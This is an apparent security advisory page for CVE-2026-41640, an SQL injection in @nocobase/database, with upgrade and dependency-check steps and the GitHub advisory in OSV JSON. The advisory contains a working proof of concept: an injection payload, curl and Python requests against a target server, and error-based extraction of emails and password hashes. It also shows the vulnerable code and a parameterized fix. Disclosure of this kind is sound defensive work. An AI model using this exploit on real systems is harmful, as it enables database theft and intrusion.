CVE-2026-41640: @nocobase/database SQL Injection Vulnerability
HIGHCVE-2026-41640 is a HIGH (CVSS 7.5) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting @nocobase/database libraries in the npm ecosystem. The issue involves @nocobase/database has sql injection via string concatenation through recursive eager loading. Remediation is available by upgrading affected packages to version 2.0.39.
CVE-2026-41640 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-41640
To remediate this vulnerability, upgrade all affected @nocobase/database dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @nocobase/database@2.0.39
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @nocobase/database
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-41640, inspect your project dependencies using npm:
npm ls @nocobase/database
Analyze the terminal output to locate any version of @nocobase/database in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.39), your application is affected.
Note: The npm ls @nocobase/database command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In @nocobase/database, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41640 Affected @nocobase/database Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@nocobase/database
|
npm |
< 2.0.39
|
2.0.39
|
References
Frequently Asked Questions
What is CVE-2026-41640?
Which @nocobase/database versions are affected?
What version fixes CVE-2026-41640?
Is @nocobase/database affected?
What is the CVSS score of CVE-2026-41640?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4948-f92q-f432",
"modified" : "2026-05-08T19:55:14Z",
"published" : "2026-04-22T20:09:02Z",
"aliases" : [ "CVE-2026-41640" ],
"summary" : "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading",
"details" : "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n db: Database;\n nodeIds: any[];\n collection: Collection;\n foreignKey: string;\n targetKey: string;\n}) => {\n const { collection, db, nodeIds } = options;\n const tableName = collection.quotedTableName();\n const { foreignKey, targetKey } = options;\n const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n const queryInterface = db.sequelize.getQueryInterface();\n const q = queryInterface.quoteIdentifier.bind(queryInterface);\n return `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN ('${nodeIds.join(\"','\")}') // <-- INJECTION\n UNION ALL\n SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n FROM ${tableName} AS t\n INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n )\n SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively && instances.length > 0) {\n const targetKey = association.targetKey;\n const sql = queryParentSQL({\n db: this.db, collection, foreignKey, targetKey,\n nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows\n });\n const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\n\nGenerated SQL (3 valid UNION ALL branches):\n WITH RECURSIVE cte AS (\n SELECT \"id\", \"parentId\" FROM \"table\"\n WHERE \"id\" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')\n UNION ALL\n SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"<jwt_token>\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n ]}'\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"id\":\"root\",\"title\":\"Root\"}'\n\n# 3. Create injection parent — error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}\npayload_id = \\\"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\\\"\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n json={'id': payload_id, 'title': 'x'})\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n json={'id': 'child', 'title': 'c', 'parentId': payload_id})\nr = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,\n params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n# ^^^^^^^^^^^^^^^^^^^^^^^\n# Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|':'||substring(password,1,16), ' \\| ') FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n ```javascript\n const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');\n const sql = `WITH RECURSIVE cte AS (\n SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n FROM ${tableName}\n WHERE ${q(targetKeyField)} IN (${placeholders})\n UNION ALL\n ...\n ) SELECT ... FROM cte`;\n return { sql, bind: nodeIds };\n ```\n Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `\"`, `;`, `--`) in string-type primary key fields.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@nocobase/database"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.39"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41640"
}, {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/pull/9133"
}, {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nocobase/nocobase"
}, {
"type" : "WEB",
"url" : "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-22T20:09:02Z",
"nvd_published_at" : "2026-05-07T04:16:28Z"
}
}